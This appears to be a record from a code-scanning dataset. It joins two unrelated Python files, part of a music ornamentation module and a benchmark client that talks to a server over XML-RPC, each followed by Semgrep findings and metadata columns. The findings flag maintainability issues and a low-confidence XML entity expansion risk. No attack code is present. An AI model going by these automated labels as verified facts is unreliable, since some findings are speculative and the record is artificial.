nb_rolls * mordant_duration) new_note = melody return new_note def suspension(new_note, last_note, next_note): duration = new_note.duration if last_note: new_note = L.l.set_duration(duration / 2) + new_note.set_duration(duration / 2) return new_note def suspension_prev_repeat(new_note, last_note, next_note): duration = new_note.duration if last_note: new_note = last_note.set_duration(duration / 2) + new_note.set_duration(duration / 2) return new_note def retarded(new_note, last_note, next_note): duration = new_note.duration retarded_duration = frac(1, 12) new_note = L.l.set_duration(retarded_duration) + new_note.set_duration(duration - retarded_duration) return new_note def interpolate(new_note, last_note, next_note): """ Interpolate note of the scale between current note and next_note Parameters ---------- new_note: Current note to modify last_note: Previous note in the melody next_note: Next note in the melody Returns ------- """ from musiclang import Note if next_note is None or not next_note.is_note or not new_note.is_note: return new_note first_val = new_note.val if new_note.type == 's' else int(7 * new_note.val/12) first_val += 7 * new_note.octave second_val = next_note.val if next_note.type == 's' else int(7 * next_note.val / 12) second_val += 7 * next_note.octave delta_scale = second_val - first_val if delta_scale == 0: return new_note duration = frac(new_note.duration, int(abs(delta_scale))) up = delta_scale > 0 temp_note = L.su1.set_duration(duration) if up else L.sd1.set_duration(duration) melody = None for i in range(first_val, second_val, 1 if up else -1): if i == first_val: melody += new_note.set_duration(duration) else: melody += temp_note melody = melody.set_amp(new_note.amp) return melody
243
33.87
112
16
2,257
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_9ad4d069e9defddb_a7e1d51e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 221, "line_end": 221, "column_start": 33, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/9ad4d069e9defddb.py", "start": {"line": 221, "col": 33, "offset": 7624}, "end": {"line": 221, "col": 50, "offset": 7641}, "extra": {"message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_9ad4d069e9defddb_77b6bbda", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 221, "line_end": 221, "column_start": 58, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/9ad4d069e9defddb.py", "start": {"line": 221, "col": 58, "offset": 7649}, "end": {"line": 221, "col": 74, "offset": 7665}, "extra": {"message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 221, 221 ]
[ 221, 221 ]
[ 33, 58 ]
[ 50, 74 ]
[ "", "" ]
[ "Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.", "Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
ornementation.py
/musiclang/write/ornementation.py
MusicLang/musiclang
BSD-2-Clause
2024-11-18T18:40:01.906695+00:00
1,522,405,345,000
e9bb616b98d0614b0eceee8a84515fdc17bddb51
3
{ "blob_id": "e9bb616b98d0614b0eceee8a84515fdc17bddb51", "branch_name": "refs/heads/master", "committer_date": 1522405345000, "content_id": "01be7501f6c6c25d33ded3c68566b9e3bd415d1b", "detected_licenses": [ "MIT" ], "directory_id": "e2f9d4359c547c42373157e691ab40ad3cd947c5", "extension": "py", "filename": "client.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2811, "license": "MIT", "license_type": "permissive", "path": "/penchy/client.py", "provenance": "stack-edu-0054.json.gz:570240", "repo_name": "fhirschmann/penchy", "revision_date": 1522405345000, "revision_id": "6d179f60500ecd49ee1e736800a3f0a0f4425b3f", "snapshot_id": "50e2edae4255c09a567927abf36334672ed99508", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/fhirschmann/penchy/6d179f60500ecd49ee1e736800a3f0a0f4425b3f/penchy/client.py", "visit_date": "2020-06-30T03:04:45.028919" }
2.53125
stackv2
""" Executes benchmarks and filters generated data. .. moduleauthor:: Fabian Hirschmann <fabian@hirschmann.email> :copyright: PenchY Developers 2011-2012, see AUTHORS :license: MIT License, see LICENSE """ import logging import xmlrpclib import signal from penchy.util import load_config, load_job from penchy.log import configure_logging log = logging.getLogger(__name__) class Client(object): """ This class represents a client which executes a job and sends the results to the server. """ def __init__(self, job, config, identifier, loglevel=logging.INFO): """ :param args: arguments; this would normally be :class:`sys.argv` :type args: list """ self.config = load_config(config) job_module = load_job(job) self.identifier = identifier configure_logging(loglevel, logfile='penchy.log') self.job = job_module.job self.job.filename = job_module.__file__ self.proxy = xmlrpclib.ServerProxy('http://%s:%s/' % \ (self.config.SERVER_HOST, self.config.SERVER_PORT)) self._current_composition = None signal.signal(signal.SIGHUP, self._signal_handler) def _signal_handler(self, signum, frame): """ Handles signals sent to this process. :param signum: signal number as defined in the ``signal`` module :type signum: int :param frame: execution frame :type frame: frame object """ log.info('Received signal %s' % signum) if signum == signal.SIGHUP: self.send_signal_to_composition(signal.SIGKILL) def send_signal_to_composition(self, signum): """ Send signal ``signum`` to the composition which is currently running. :param signum: signal number as defined in the ``signal`` module :type signum: int """ if self._current_composition: if self._current_composition.jvm.proc: if self._current_composition.jvm.proc.returncode is None: self._current_composition.jvm.proc.send_signal(signum) log.error('Current composition timed out and was terminated') def run(self): """ Runs the client. """ self.job.send = self.proxy.rcv_data for composition in self.job.compositions_for_node(self.identifier): try: self._current_composition = composition composition.set_timeout_function(self.proxy.set_timeout) self.job.run(composition) self._current_composition = None except Exception as err: log.exception('Exception occured while executing PenchY:') self.proxy.report_error(composition.hash(), err)
85
32.07
81
18
596
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xmlrpc_a8b0193252d4b618_cd7a20d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xmlrpc", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 17, "code_snippet": "requires login"}, "cwe_id": "CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://pypi.org/project/defusedxml/", "title": null}, {"url": "https://docs.python.org/3/library/xml.html#xml-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xmlrpc", "path": "/tmp/tmpb8jm_z1l/a8b0193252d4b618.py", "start": {"line": 11, "col": 1, "offset": 227}, "end": {"line": 11, "col": 17, "offset": 243}, "extra": {"message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "metadata": {"cwe": ["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')"], "owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "source-rule-url": "https://github.com/PyCQA/bandit/blob/07f84cb5f5e7c1055e6feaa0fe93afa471de0ac3/bandit/blacklists/imports.py#L160", "references": ["https://pypi.org/project/defusedxml/", "https://docs.python.org/3/library/xml.html#xml-vulnerabilities"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-776" ]
[ "rules.python.lang.security.use-defused-xmlrpc" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 11 ]
[ 11 ]
[ 1 ]
[ 17 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
client.py
/penchy/client.py
fhirschmann/penchy
MIT